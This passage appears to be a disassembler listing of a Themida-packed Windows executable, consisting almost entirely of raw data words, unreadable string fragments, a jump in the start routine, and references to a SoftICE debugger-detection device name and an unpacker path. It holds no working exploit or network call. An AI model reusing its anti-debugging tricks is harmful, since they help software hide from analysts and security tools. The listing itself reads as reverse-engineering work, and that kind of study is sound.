		dd 33BB4A70h, 7B3F2019h, 0DBF011D4h, 0E87532h, 75768723h
		dd 3B77B21Bh, 0CF09E9C0h, 354D78h, 0E6B74433h, 15FA7E21h
		dd 5C0087F8h, 3A4209EFh, 1F7F9Eh, 0A997AEAAh, 64CF0C80h
		dd 0E71CE50Ch, 0BA0F0B6h, 42BC2874h, 3BEB7880h,	250D45DAh
		dd 20BEFB20h, 18E67A60h, 0A9B8440Ch, 55312F70h,	6BA6409Fh
		dd 0BAC57040h, 0F56100BBh, 9AA1CB13h, 2179C9E1h, 72D45B00h
		dd 8FCE7986h, 0A6D17D14h, 0FAEC8Ch, 0C80959EFh,	8FCF4A60h
		dd 0A5C86F54h, 620E1BE6h, 866A26h, 0C823CC3Eh, 0B1670063h
		dd 42BD1AB8h, 80ED2225h, 0F4F940D1h, 0C9CA6Ah, 0BD026CBh
		dd 350CD8E4h, 0D4BFE700h, 0D1FEA7Fh, 50E20011h,	0A557D28Ah
		dd 0E5002C0Bh, 5E5B0501h, 84D316h, 0D287F431h, 8B6FBF95h
		dd 27290307h, 4570F0B0h, 1C18539Bh, 3DA4F5E5h, 653F18F7h
		dd 8AC3680Fh, 780052E6h, 1FBD0C1Eh, 0A3BE848h, 0F180D25Ch
		dd 890618C5h, 0CC508BAEh, 320127FAh, 0E2194B54h, 0D930C84Dh
		dd 0F34106F1h, 310BD798h, 2DBF39h, 0EB7274CEh, 9AA71Ch
		dd 0A6665849h, 0D0F0319Eh, 0BD8B2300h, 0F9549C36h, 0B1BF072Ch
		dd 0EFE57616h, 39520783h, 801FA83Ah, 1E262D6Fh,	22499Ch
		dd 0CD65C784h, 0FA8CD807h, 0A8BFE600h, 7CE3F243h, 3DB10C73h
		dd 4BE96642h, 6FE22801h, 9F30CD86h, 0FE84C20h, 4133D6BFh
		dd 0B1ADA20h, 810002B5h, 0B68F28D2h, 3135D96Bh,	4380345Bh
		dd 4725FC68h, 0F92CB00Fh, 0A0146015h, 1C096D7h,	0D13DBF70h
		dd 203BAA37h, 24788E62h, 4B8F9000h, 8AAEB006h, 1D0E0085h
		dd 0EE6A2C2Ah, 23009D29h, 352DF955h, 0ADF1C6h, 189B434Bh
		dd 0F7FF6A97h, 2892B402h, 0A51C6CDAh, 0B020D684h, 114C6A5h
		dd 0EC2645E4h, 0DCB2DDFDh, 8506D1D6h, 0EF9B1D03h, 45350028h
		dd 1147D767h, 1603066Bh, 1849ABF7h, 7A211DD9h, 0E5C14065h
		dd 9E84ACB3h, 584F7800h, 24B03C2Fh, 8F66035Eh, 263D42C0h
		dd 3EEA8900h, 9F45F609h, 44080185h, 0A2CF1BF9h,	3AA1BE84h
		dd 9B6A0028h, 2D72192Bh, 0E8B318B4h, 0FA0D4030h, 44043100h
		dd 2549A52Ah, 1E613018h, 0B34CD690h, 0B5004375h, 6C3A3026h
		dd 7B4D6647h, 6B0B007Dh, 538CDD3Fh, 9A00CC23h, 0F40E761Ch
		dd 0E5E56AF5h, 45EC77F1h, 0D8241136h, 7B95030Bh, 98F92FFBh
		dd 0DC90CAh, 6818056Ch,	8865249h, 0E71D8BF6h, 0B1076A9Eh
		dd 8F80CC20h, 2EA88Ah, 65313099h, 26CF45C8h, 1D3BAFE8h
		dd 618230F3h, 94AA7Dh, 8932BB3Ah, 0D14FAFC0h, 0E0A1B17Eh
		dd 88060839h, 13078F89h, 0ED647260h, 0CC9FA553h, 8A34CBC1h
		dd 18E7D0C8h, 31FAADB4h, 20016BD5h, 0B19167F2h,	19928C2Ah
		dd 1BCB0235h, 0EC444381h, 5262FD00h, 463F2E13h,	964201F3h
		dd 38EDDDA5h, 22E07F3Ah, 0FB310CFDh, 4E4907CEh,	0DC00FA71h
		dd 39D0B656h, 1729E2Bh,	0AC444680h, 602345FDh, 43376B94h
		dd 370069D0h, 7BF73281h, 44DB004Ah, 3982270Ch, 0F53B0AB8h
		dd 2410CC41h, 0A4CEA46Ah, 6C81AE11h, 80081EA0h,	102088h
		dd 0F84481BDh, 8250748Bh, 23ADD309h, 0A0102E64h, 55FA0642h
		dd 18AFF492h, 49053D3Fh, 1124CD7Dh, 9700DDC0h, 0D8C4E57Eh
		dd 4CCB005Dh, 2B1E8DDDh, 540F81D4h, 0B73C9Bh, 9A516BD2h
		dd 0E49080h, 69AE47CDh,	49ED88EEh, 2D9B4600h, 851DBF6Dh
		dd 31A324B2h, 2CB58760h, 0D8AE2208h, 1D44C4A3h,	1BE70801h
		dd 8EE4A396h, 4CCA69F4h, 510070F4h, 76B88F8Ch, 7A522AACh
		dd 3CDA01E0h, 3FE12ECCh, 0E7002823h, 0B02FA653h, 0D000C2B4h
		dd 16808373h, 40DB42B3h, 95014F0Ch, 106F4EE9h, 0E0DCCC8Dh
		dd 81120071h, 0FB9F193h, 2900BA94h, 0BC14C016h,	88F92D97h
		dd 7000BD35h, 6A51A0FAh, 0E0850729h, 918B044h, 0D34241BAh
		dd 0C0B68401h, 0F3EAD037h, 0B42E3D2Ah, 31114500h, 7A1228A2h
		dd 7C73031Dh, 0D1D879A9h, 0FA3676D0h, 0A9EC6C30h, 1B98F81h
		dd 0FB1E6F8Dh, 232AE4BBh, 8ECF00F8h, 3F2CA828h,	181F7140h
		dd 0A9AACEEEh, 0FC03C564h, 0BD82BA6Fh, 2AD6F028h, 756709D9h
		dd 64019983h, 1080CEF8h, 708FE23h, 0E648E7BCh, 9E6BAE27h
		dd 0BD418C0Eh, 4055F5BFh, 336C53C4h, 20F9AF1Eh,	0CBC0B100h
		dd 57DBE08Bh, 4C00F468h, 0A42A45D1h, 8C102BE4h,	3F242014h
		dd 0EEAB4384h, 26D67498h, 0FEE27EFCh, 5F6C3B26h, 291B6600h
		dd 26CBCFE4h, 4F00D821h, 39C17EC0h, 0BF76FCAEh,	0B9847316h
		dd 0A81F5B13h, 0D4E6174Ah, 41124E80h, 7DD4892h,	0C9160110h
		dd 8E33D060h, 0CB0C652Dh, 0B12FE8B2h, 0E9592AFAh, 749048BCh
		dd 333421Ch, 0D626C0CDh, 3451A180h, 6A05E4A8h, 0E5AF51Eh
		dd 0DC69944Eh, 0D6CCD41Eh, 0B2A97Ch, 2F3DE24Ch,	1875D002h
		dd 5599DD60h, 1E48BC1h
		dd 0BD479DA6h, 225AA0D9h, 867314F4h, 7B22E4h, 0B1C30490h
		dd 47520C8Ch, 49DC1830h, 0EE644227h, 437008Dh, 0C6E39FD9h
		dd 0B20040D2h, 237E15E0h, 2CBD0AFh, 603B0670h, 0B460789Bh
		dd 0E602D8DFh, 82C569C9h, 0F8C443h, 98784C5Ch, 0CBDFD7D2h
		dd 0E27B8A00h, 577EF9C2h, 0B71B0050h, 1EC012E1h, 0DD5C3522h
		dd 0A6AA0016h, 48CBDA79h, 89413E38h, 0A9B4C65Eh, 26FA671Dh
		dd 4011E35Ah, 983D92D0h, 0D177A01Ch, 9821008Bh,	5FF6327Ch
		dd 1F543C8Ah, 0F100FDB4h, 0F2BC6A81h, 23083FAh,	0E56955DBh
		dd 0E8444432h, 0BEC36C00h, 65FDCC34h, 0F88300D2h, 0F97BFCDCh
		dd 0F700707Ch, 80345385h, 90D75C63h, 411D16ACh,	0F2370107h
		dd 437FD16Ah, 790535A1h, 0CF442FADh, 1218C40h, 0B5DEB78Eh
		dd 39740E80h, 0D912E238h, 800743E9h, 2773B9B1h,	0D541151Dh
		dd 2526E077h, 19C101CAh, 0F4099185h, 70A052F2h,	0AF7EFA2Ch
		dd 0A3F11400h, 8705181Ah, 0A3C78A0h, 9F744D9h, 45F40194h
		dd 803151B9h, 99EF4739h, 5B3E0CCh, 0C2AE6E3Eh, 8D9CC0D4h
		dd 0E9005ED2h, 5489CB46h, 149AC62Ah, 98433EAFh,	9988A280h
		dd 6005D21h, 0F0691041h, 52E825h, 2FBBECE4h, 70C89A35h
		dd 0F69B0901h, 0DF18A075h, 4E9DE050h, 0B6B5001Dh, 85FC7277h
		dd 0FA153F17h, 199863E2h, 5DA92C47h, 2ED588F0h,	0F24E3Ah
		dd 0A5E944EDh, 4F0E93D4h, 0A5B8D7BCh, 70C8ADCEh, 29D92C0Ah
		dd 0B42A607Ch, 0D4765CCFh, 71C1F160h, 0E0E3EF4Bh, 6E8B32Ch
		dd 1175D722h, 0F3420700h, 0A72E04DAh, 6DBA05CBh, 8CD74739h
		dd 110006C4h, 0A74D8DD8h, 2E58793Ch, 35661FBh, 0C5334FE8h
		dd 0F4872A91h, 3098F44Dh, 302064D2h, 187393D5h,	0F2832EC6h
		dd 9F58ADF3h, 0A9100E8Ch, 9A1780E2h, 4C7B990Ch,	0FD87CCD7h
		dd 0B640007Ch, 0B900CF20h, 4F61497Dh, 0E24A1CA3h, 2A8524F4h
		dd 24723E39h, 81C720h, 5732D2B2h, 2499238Dh, 0BEDA6403h
		dd 3882CC85h, 4418220Bh, 905639C0h, 78805700h, 0D1D6C014h
		dd 0DEF8006Bh, 45BED4CEh, 3500E8F9h, 7CAEE3BFh,	7132D005h
		dd 0C5710047h, 86AC6A41h, 1369D468h, 77A08059h,	108563h
		dd 0C7F5DFC8h, 0FBFB023h, 0CA656100h, 0D29503A3h, 0DC8B3033h
		dd 3B385370h, 5C528C90h, 0F09B00E8h, 59FD403Ch,	52C4A8CEh
		dd 189223h, 0BB2A5C30h,	81EFA84h, 434BDB0Ch, 0EAFB29A7h
		dd 97BA00EFh, 369D687Dh, 433C1647h, 49F901C4h, 0C0922F6Ah
		dd 0F89E1BF0h, 0CB39C0B4h, 0DB8A7206h, 715C660Fh, 67BE479Dh
		dd 30BC2EB0h, 2A2D0090h, 8461EDF3h, 0B07C1B29h,	0E7196B2Eh
		dd 0AFCFD401h, 0BC646223h, 3DB100A6h, 0A39A9347h, 0C6133F68h
		dd 0B400D93Ah, 0A9F0C7DFh, 0E49F5002h, 1CB0B1D2h, 79084083h
		dd 0A3571EEBh, 1A0FD37Eh, 604DB03Fh, 6AFA505Ch,	9F230ACAh
		dd 1DA0E0C4h, 43028BE7h, 58189090h, 486D5D00h, 8804C21Bh
		dd 7E283FB1h, 690ECF98h, 0FA00F497h, 0E390E1C0h, 0CE4A17h
		dd 70FF14A4h, 0DC8AC36Eh, 0D24CE801h, 0D55D5E85h, 0CC40F6D1h
		dd 749F033Bh, 0AECF16F9h, 6A8C2232h, 9C4312h, 27911C0h
		dd 622D9817h, 32CF2C3Eh, 9018810Ch, 0E0C78394h,	70820223h
		dd 0B343D0A9h, 0C4C8C8A0h, 0C300CA5Ch, 8290AC19h, 0F30579h
		dd 1DFD2BD5h, 0D7D83EFAh, 1A089761h, 7C8080ADh,	0EFB6A707h
		dd 0AF3D0269h, 66A48E9Eh, 0C387005Fh, 1C8C3ADEh, 4068831Ah
		dd 0DA89E772h, 9518FC11h, 7A5948BFh, 0AAD20CE4h, 676930E5h
		dd 0CFED3D00h, 1378316Ah, 205E0CE0h, 502122C6h,	291F4800h
		dd 2FBE6DC3h, 651906F5h, 0A1CD9FBFh, 0DC99951Dh, 2CA23030h
		dd 181C6F48h, 2AC52107h, 6E200024h, 55532C8Ch, 0C37821C0h
		dd 0F2CB6DC8h, 0D70C0114h, 167F88B6h, 170BECCh,	9D04AADAh
		dd 49832AE5h, 88D49606h, 6624B0D0h, 0DC654000h,	0AB732012h
		dd 0B4D20002h, 47ACBFB1h, 6A48685Fh, 0EEF80CD2h, 0F2B113Ch
		dd 446DF9BCh, 5170A600h, 7C0ED973h, 985533A3h, 0F2596818h
		dd 27B40053h, 6E2FEA92h, 2BE4226Bh, 80054FCh, 0A4A8A940h
		dd 0CDE22Dh, 0F5602C0Fh, 0A36472ABh, 0BF307CF6h, 9944705Eh
		dd 0A2151873h, 0EDBB1158h, 641E3BF0h, 1DDE51D4h, 0F9971100h
		dd 5C1D38Ch, 3AE77877h,	0FF012FCCh, 0B6FFh
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_548BDF:				; CODE XREF: start:loc_4E1265j
					; DATA XREF: start:loc_4E1086o
		jmp	loc_54C110
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 7 dup(0)
aVodd		db 'V▌╓d',0
		align 4
		dd 0
		dd 54C9BC18h, 4	dup(0)
		dd 81660619h, 7	dup(0)
aMiS		db '╛┬',7,'S',0
		align 4
		dd 9 dup(0)
		dd 25B0000h, 1FA92A36h,	2, 0
		dd offset byte_59CC5F
		dd 4 dup(0)
		dd 0FFFFFFFFh, 0FDCh, 0C102ECh,	0
		dd 0FBA82FEFh, 4 dup(0)
		dd 0A4h, 761C9064h, 7FFE0304h, 3 dup(0)
		dd offset word_59D97E
		dd 0
		dd 0FFA49233h, 2 dup(0)
		dd 4, 32h dup(0)
		dd 0A21568h, 18h dup(0)
		dd 191D6D37h, 5	dup(0)
		dd 13D8E05Dh, 2880000h,	0
		dd 6936h, 7 dup(0)
		dd 79F9B0BDh, 6	dup(0)
		dd 76FACA04h, 2	dup(0)
		dd offset word_5BE05A
		dd 10000h, 2A200h, 0
		dd 77F51254h, 0A0D554h,	2B34BE89h, 7FFE0304h, 0
		dd 0B1A1FEh, 3 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 0FFFF5E94h, 84h, 0
		dd 0D4D0A9DEh, 77DD23D7h, 77E776CDh, 35Bh, 1, 3	dup(0)
		dd 24h,	2 dup(0)
		dd 12FF64h, 4 dup(0)
		dd 0FFFFFFFFh, 4 dup(0)
		dd 77E7A5FDh, 545BB571h, 7 dup(0)
		dd 7FFE0304h, 0
aLJ		db 'L╤Ё├',0
		align 10h
		dd 4 dup(0)
		dd 0A23268h, 8 dup(0)
aW		db 'л^щw',0
		align 10h
		dd 8001FCFCh, 4	dup(0)
		dd 0A00FE6h, 0A59995h, 0
		dd offset byte_58F88C
		align 8
		dd 1, 9	dup(0)
		dd offset off_57AEE7
		dd 0Ah dup(0)
		dd 0BBBFFDD4h, 9 dup(0)
aKzl		db '┼Zlп',0
		align 4
		dd 6 dup(0)
aSlqa4x		db 'Аl÷─ш4X',0
		dd 3 dup(0)
		dd 1, 7	dup(0)
		dd 1, 5	dup(0)
		dd 0E8h, 3 dup(0)
		dd 0B52Ah, 8 dup(0)
aCw		db '&гГw',0
		align 4
		dd 0Ah dup(0)
		dd offset word_582202
		align 10h
aQOv		db 'Q',1Bh,'OV',0
		align 4
		dd 4000F0h, 3 dup(0)
		dd 0EE713013h, 59FBD2h,	0
		dd 801474E6h, 24A7FFFh,	4 dup(0)
		dd 467F533Bh, 0
		dd 0EC271FA3h, 3 dup(0)
aSacw		db '≥═Гw',0
		align 10h
aP_0:
		unicode	0, <p>,0
		dd 7FFE0304h, 3	dup(0)
		dd offset byte_57BA7B
		align 10h
		dd 0CE8h, 2 dup(0)
		dd 0A170C4h, 3 dup(0)
		dd 0EAF6F5B8h, 0A280105h, 5 dup(0)
		dd 2420008h, 0FFA7FFDDh, 0
		dd 144628h, 4 dup(0)
		dd 6B7Bh, 3 dup(0)
		dd offset a_Ntice	; "\\\\.\\NTICE"
		align 10h
		dd 0EBAE06D7h, 0A19499h, 2 dup(0)
		dd offset dword_5794A8
		align 8
aC_3		db 'й╢Г╢',0
		align 10h
		dd 2 dup(0)
		dd offset dword_549B78
		dd 5CECh, 0
		dd 7FFE0023h, 2	dup(0)
		dd 0FFFF9148h, 12FF60h,	9Ch, 3 dup(0)
		dd 7F39F899h, 169Ah, 0A19C37h, 6 dup(0)
		dd 8001FCFCh, 0
		dd 80h,	3 dup(0)
		dd 0FFFFFFFFh, 0
		dd 7FFE0304h, 0
		dd 6B7Bh, 0A169DDh, 0A19234h, 6	dup(0)
		dd offset byte_58F88F
		dd 25h dup(0)
		dd offset byte_5883DF
		dd 0B80000h, 6E08h, 0
		dd 7F449390h, 6D656854h, 616469h, 20h dup(0)
		dd 0FFA34096h, 0
		dd 0D6Ch, 3 dup(0)
		dd 13D8E05Dh, 3	dup(0)
		dd offset byte_59EC75
		dd 15h dup(0)
		dd 50000h, 2 dup(0)
		dd 0FD3AC2E0h, 5 dup(0)
		dd 0FFFF96ECh, 0E284EA00h, 83B2A285h, 3	dup(0)
		dd 6B7Bh, 0C246DA44h, 0
		dd 0FFFF9148h, 0A169DDh, 2 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 0A169DDh, 0
		dd 901B2B15h, 9	dup(0)
		dd 77D40000h, 464934EBh, 0A109F7h, 5 dup(0)
		dd 7FFE0304h, 54C9B384h, 3 dup(0)
		dd offset byte_5BD7C3
		dd 0
		dd offset word_57CC3E
		dd 12FF54h, 3 dup(0)
		dd 34h,	0FFFF982Ch, 0
aJcw		db ';JГw',0
		align 10h
		dd offset word_582202
		align 8
		dd offset dword_58A240
		dd 77F7EBB3h, 3	dup(0)
		dd 77E6D706h, 2	dup(0)
aVcw		db 'мvГw',0
		align 10h
		dd 0
		dd 0FF5E5FF1h, 0A223E8h, 0
		dd 0CB1A7h, 2 dup(0)
		dd offset aNxsn		; "т[╜XИ█"
		dd 0Eh dup(0)
aUra		db '|·R─',0
		align 10h
		dd 4 dup(0)
		dd offset byte_5CA9C3
		align 8
		dd 0FFFF990Ch, 0
		dd 8E9h, 8 dup(0)
		dd offset byte_5A0C05
		dd 16h dup(0)
		dd 1D7A40h, 0Ah	dup(0)
		dd 109128Fh, 0Ah dup(0)
		dd 0CCh, 0
		dd 0A37316h, 6 dup(0)
		dd 0A1FA56h, 4 dup(0)
		dd 0A13145h, 0
		dd 0FFFF982Ch, 0Ah dup(0)
		dd 0FFFFFFFFh, 3 dup(0)
aIsiq		db '┬ХКQ',0
		align 4
		dd 4A449E00h, 0B5564DF0h, 0A169DDh, 0
		dd 0F600B034h, 77DD0000h, 2 dup(0)
		dd 62h,	2 dup(0)
		dd offset word_582202
		dd 1C034h, 0
aHSw		db 'h>Хw',0
		align 4
		dd 4 dup(0)
		dd offset word_5CBF6A
		dd offset byte_5A1ABB
		align 8
		dd offset byte_580023
		dd 3 dup(0)
		dd 0A1A00Fh, 4 dup(0)
		dd 77E776CDh, 24242424h, 0FFDFFFFFh, 5 dup(0)
		dd 88h,	4 dup(0)
		dd 0DCh, 4 dup(0)
		dd 6BE0h, 25A0000h, 3E16332h, 0
aJCw		db '├дГw',0
		align 10h
aMig		db '╛⌡ё',0
aU_0		db 'Й!&u',0
		align 4
		dd 3 dup(0)
		dd 0FB2AEC13h, 2 dup(0)
		dd 3099h, 2 dup(0)
		dd 13D8E05Dh, 5	dup(0)
		dd 0FB2AEC13h, 0EBAE8D8Dh, 0Bh dup(0)
		dd 77F51B2Bh, 0
aCW		db 'Ф^Йw',0
		align 4
		dd 7 dup(0)
		dd 163204Ch, 3 dup(0)
		dd 90h,	12FEF8h, 3 dup(0)
		dd offset byte_5834DB
		dd offset byte_583697
		align 10h
		dd 0FB2AEC13h, 0
		dd 7CCA00A0h, 0
		dd offset word_5A0C3E
		align 10h
dword_549970	dd 0B8h, 74C00B00h, 18C203h, 0C24448Bh,	0E853h,	815B0000h
					; DATA XREF: Themida_:0054A650o
		dd 17C3h, 245C8900h, 24448910h,	37B85B14h, 0FF00A1A0h
		dd 24448BE0h, 0E0FF04h,	14h dup(0)
a_jcw		db '.jГw',0
		align 10h
aK_0		db '{k',0
		align 4
aFw		db 1Bh,',Fw',0
		align 4
aC_4		db '≈Ё~<',0
		align 4
		dd 4 dup(0)
		dd 83A52AC4h, 0FFFF8DE1h, 0AFB1CAh, 3 dup(0)
a6666m		db '6666╛',0
		dw 0FFEDh
		dd 9 dup(0)
		dd offset dword_4CF5F4+0EA3h
		dd offset word_57CC8E
		dd 10h dup(0)
		dd offset off_57AEE7
		dd 171FFB0h, 2 dup(0)
		dd offset word_5CBF6A
		dd 0FFFF3FA2h, 0
		dd offset word_597B4E
		dd 4 dup(0)
		dd offset dword_549B78
		dd offset word_5CBF6A
aTP		db 't',0Bh,'╞',0Ah,0
		align 10h
		dd 3 dup(0)
		dd offset byte_5AEF6B
		dd 2 dup(0)
aTyuj		db 'tYU├',0
		align 10h
		dd 0
		dd offset word_59D832
		dd 0
		dd offset word_5885DE
		dd 33000h, 0Dh dup(0)
		dd 0FFFFB4CAh, 0
aEef		db '╤E┘F',0
		align 4
		dd 4 dup(0)
dword_549B78	dd 400h, 0A000F8h, 0	; DATA XREF: Themida_:00549228o
					; Themida_:00549AE0o ...
		dd 0AF00F8h, 7FFE7397h,	10h dup(0)
		dd 21D3EC17h, 77E82168h, 3 dup(0)
		dd 0A1A037h, 2 dup(0)
aFI		db '╟Д╟╘',0
		align 4
		dd 9 dup(0)
		dd 7FFE0304h, 0Ch dup(0)
		dd 0FB71D921h, 8Ch, 6 dup(0)
		dd offset byte_54CEEB
		dd 0
		dd 5300h, 4 dup(0)
		dd 0A169DDh, 2 dup(0)
		dd 0FFA57F01h, 2 dup(0)
		dd 77F52E0Fh, 8	dup(0)
		dd 3047105Dh, 2	dup(0)
aQucw		db 'О⌠Гw',0
		align 4
		dd 6 dup(0)
		dd 464B3C85h, 24AE4E9h,	0
		dd 2273F2C2h, 4	dup(0)
aBm		db ')║▄/',0
		align 4
		dd 3 dup(0)
		dd 77E60000h, 0
		dd 0FFA7FFDDh, 0
		dd 0FFA5F563h, 13D8E05Dh, 0A0B168h, 0
		dd 32E9h, 0A00FE6h, 0Eh	dup(0)
		dd offset word_5885DE
aCWindowsSystem	db 'C:\WINDOWS\System32\ADVAPI32.dll',0
		align 4
		dd 3Ch dup(0)
		dd 7FFE0304h, 49012DD8h, 0
		dd 0E056F3E4h, 1, 77FFFFFCh, 4 dup(0)
aR_0		db '}╢ьR',0
		align 4
		dd 1Fh dup(0)
		dd 0FFFF5E94h, 6 dup(0)
aSne		db 'А█┘!',0
		align 4
		dd 3 dup(0)
		dd 8001FCFCh, 0
aECwci		db '┘гГwФ┬}(',0
		align 4
		dd 8 dup(0)
		dd 0A1A00Fh, 3 dup(0)
		dd offset dword_59D020
		dd 0
		dd offset dword_5BB658
		dd 9 dup(0)
		dd offset byte_580023
		dd 3 dup(0)
		dd offset dword_5B0000
		dd 2 dup(0)
		dd 13D8E05Dh, 20h dup(0)
		dd 74h,	0A24Dh,	0
		dd 6B7Bh, 4C3AA05Ch, 7FFE0304h,	0
		dd 24A6C80h, 5 dup(0)
		dd 345AFD8Bh, 0
		dd 1, 6	dup(0)
		dd 34B8h, 77D4C96Ah, 7 dup(0)
aD_		db '╓_еЁ',0
		align 10h
		dd 0
		dd 7FFE90FAh, 0Bh dup(0)
		dd 5CE5h, 2 dup(0)
		db '""""""""',0
		align 4
		dd 2 dup(0)
		dd 0FFFF982Ch, 2 dup(0)
		dd 7FFE0304h, 0FFA7CB25h, 2 dup(0)
		dd 3600h, 63221B7h, 2 dup(0)
		dd 0B78883h, 6 dup(0)
		dd 13D8E05Dh, 8	dup(0)
		dd offset byte_5AA683
		dd 0FFA64805h, 2 dup(0)
		dd 78h,	13D8E05Dh, 6 dup(0)
		dd 12FF38h, 0Ch	dup(0)
		dd offset word_5CAC7E
		dd 0
		dd 0EC271FA3h, 1, 5 dup(0)
		dd 0FFFFA168h, 6 dup(0)
aUJh		db '·╟├H',0
		align 4
		dd 6 dup(0)
		dd offset byte_59DBD9
		dd 3 dup(0)
		dd offset word_5CBF6A
		align 10h
		dd 12FFE0h, 0FF5E5FF1h,	7 dup(0)
		dd offset byte_58C915
		dd 6 dup(0)
		dd 21568h, 4 dup(0)
aG4		db 'шё4+',0
unk_54A309	db    0			; DATA XREF: Themida_:0054B8E0o
		db    0
		db    0
		dd 62h dup(0)
		dd 25B0000h, 6 dup(0)
		dd 4, 584369h, 4 dup(0)
		dd 24A6B9Ch, 0
		dd 0A21568h, 3 dup(0)
		dd 0F892788Eh, 0
aSw		db '\!Хw',0
		align 10h
		dd 0DE000h, 2 dup(0)
		dd offset aLS		; "`▀\\$$Х"
		dd 3 dup(0)
		dd 0FFFFA72Ch, 3 dup(0)
		dd 0E4E9h, 2 dup(0)
		dd 7FFE0304h, 6	dup(0)
		dd offset byte_596A09
		align 10h
		dd offset byte_59085F
		dd 2 dup(0)
		dd 0A19393h, 40D7AD80h,	2 dup(0)
		dd 0FFFF4E47h, 0
		dd 24AE4E9h, 0
		dd 0FF8h, 0
		dd 7FFDDEF8h, 1D6000h, 0B52Ah, 9 dup(0)
aW4_		db 'W╠4_',0
		align 10h
aLb		db '╟l║',0
dword_54A5C4	dd 5 dup(0)
		dd 6B7Bh, 9 dup(0)
		dd 7FFE0304h, 5B871BC7h, 0
		dd 0FFFF9E2Ch, 0B52Ah, 0Ah dup(0)
		dd 0B25FF0h, 4 dup(0)
		dd offset dword_549970
		dd 0FFFF982Ch, 3 dup(0)
		dd 0A5A5E7h, 52D896ECh,	77DD59F0h, 0
		dd 8005F6F4h, 3	dup(0)
		dd 7D1h, 5 dup(0)
		dd 6B7Bh, 2 dup(0)
		dd 102B89D5h, 0
		dd 0A00000h, 2 dup(0)
		dd offset dword_549B78
		dd 0
		dd 7FFE0304h, 4	dup(0)
		dd 3DD4E4F1h, 4	dup(0)
		dd 1, 3	dup(0)
		dd 2 dup(7FFE0304h), 3 dup(0)
		dd 7FFE0304h, 4F481A5h,	6 dup(0)
		dd 2BE102D4h, 0
		dd 77E80618h, 2	dup(0)
		dd 0E0h, 13A8h,	9BE67C11h, 59D020h, 3A7EE5BBh, 7 dup(0)
		dd 0A15E2Eh, 5B7877h, 3	dup(0)
		dd 0B27FFEh, 3 dup(0)
aBbz		db 'щ│B┤',0
		align 10h
		dd 0
		dd 1D07C314h, 8	dup(0)
		dd 0FDB12B8Ch, 4 dup(0)
		dd offset dword_58CD70
		dd 0Dh dup(0)
		dd 21212121h, 216FD98h,	3 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 0A18C0Ah, 0FFFFFFFFh, 4 dup(0)
		dd 0B0h, 97D8EA5h, 0FFA795F7h, 5 dup(0)
		dd 1, 6	dup(0)
aGaj		db 'ё─╕м',0
		align 10h
		dd 12FFE0h, 7 dup(0)
		dd 0A12292h, 8 dup(0)
		dd 77DD189Ah, 0
		dd 0FFFFE175h, 0
		dd 30DFh, 0
		dd 0FDBE0050h, 0
aAp?		db '═▐г?',0
		align 10h
		dd offset word_5CAC7E
		align 8
		dd 0FFA675B2h, 4 dup(0)
		dd 7FFE0304h, 0
		dd 77E7A5FDh, 3	dup(0)
		dd 13D8E05Dh, 2	dup(0)
		dd 0A00A9Ah, 3 dup(0)
aIz9		db '┴┤9;',0
		align 4
		dd 8 dup(0)
		dd 1F9FFF6h, 3 dup(0)
		dd offset byte_5834ED
		dd 2 dup(0)
aCM_unpacker	db 'C:\m_unpacker',0
		align 4
		dd 7Ch dup(0)
		dd 24A6B9Ch, 3 dup(0)
		dd 7FFE0304h, 61AEAEE4h, 4 dup(0)
		dd 2880000h, 4 dup(0)
		dd 98F4DEDEh, 0
		dd 1F6B6h, 4 dup(0)
		dd 8001FCFCh, 2	dup(0)
		dd 6B7Bh, 5 dup(0)
		dd 0FFA48B90h, 5 dup(0)
		dd offset dword_5794A8
		dd 7 dup(0)
		dd 0FFFFFFFCh, 7 dup(0)
		dd 0FFA7FE32h, 0
		dd offset byte_5948A9
		dd 5 dup(0)
		dd offset loc_5AF4AE
		dd 2 dup(0)
		dd 7E91139Dh, 0A1A00Fh,	0
		dd offset dword_5CC5E8
		align 8
aC_5		db 0Dh,'/≈э',0
		align 10h
		dd 1000h, 7 dup(0)
		dd 7FFE6004h, 0A58D53h,	0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0A1A00Fh, 0ACh, 0F97DF2E1h, 6 dup(0)
		dd offset dword_549B78
		dd 0Eh dup(0)
		dd offset dword_5B52B8
		dd 2 dup(0)
aI4Ib		db '┴╬4+щi║',0
		dd 0
		dd offset byte_58F88F
		dd 12FFA4h, 0E75D36FEh,	2 dup(0)
		dd 0BE994h, 6 dup(0)
aECw3cwoX	db '┘гГw°3Гw▌$X',0
		dd 0Fh dup(0)
		dd 0A3B134h, 0
aLrcv		db 'L░C┌',0
		align 4
aA_1:
		unicode	0, <═>,0
		dd 3 dup(0)
		dd 171FFB0h, 2 dup(0)
		dd 63221B7h, 2 dup(0)
		dd offset byte_59D723
		dd 3A0h, 6 dup(0)
		dd 0AF0000h, 0FFA685D6h, 8014FC50h, 8 dup(0)
		dd offset byte_5919A9
		align 10h
		dd 221FFB0h, 0FD2h, 11h	dup(0)
		dd 77F5168Dh, 4	dup(0)
		dd offset dword_58C824
		dd 7 dup(0)
		dd offset word_54C6F2
		dd 24A6BD3h, 94h, 3 dup(0)
		dd offset dword_57F248
		dd 5 dup(0)
		dd 0A169DDh, 8EDD6157h,	2 dup(0)
		dd offset dword_5798B0
		align 10h
		dd 0A13E3Bh, 8001FCFCh,	0B97CF8B2h, 19h, 4BBCC425h, 0FFE2E586h
		dd 6 dup(0)
		dd offset dword_54A5C4+10h
		dd 4 dup(0)
		dd 12FF54h, 0
		dd 13D8E05Dh, 2	dup(0)
		dd 3CA00h, 3C39689Fh, 3	dup(0)
		dd 78326B19h, 0
		dd 77E78B82h, 5BE2F2h, 4 dup(0)
		dd offset byte_586A09
		dd 5 dup(0)
		dd 12FEF0h, 3 dup(0)
		dd 0E02BF650h, 0Fh dup(0)
		dd 400000h, 2 dup(0)
		dd 2420000h, 2 dup(0)
		dd offset byte_5834DB
		dd 5 dup(0)
aSSw		db 'Х/Хw',0
		align 4
		dd 7 dup(0)
		dd 0A18C0Ah, 4 dup(0)
		dd 1, 6	dup(0)
		dd 1, 7	dup(0)
		dd 400000h, 6 dup(0)
		dd offset word_5A5462
		dd 6 dup(0)
		dd offset word_57DE8A
		dd 7 dup(0)
		dd 0FFFFFF48h, 9 dup(0)
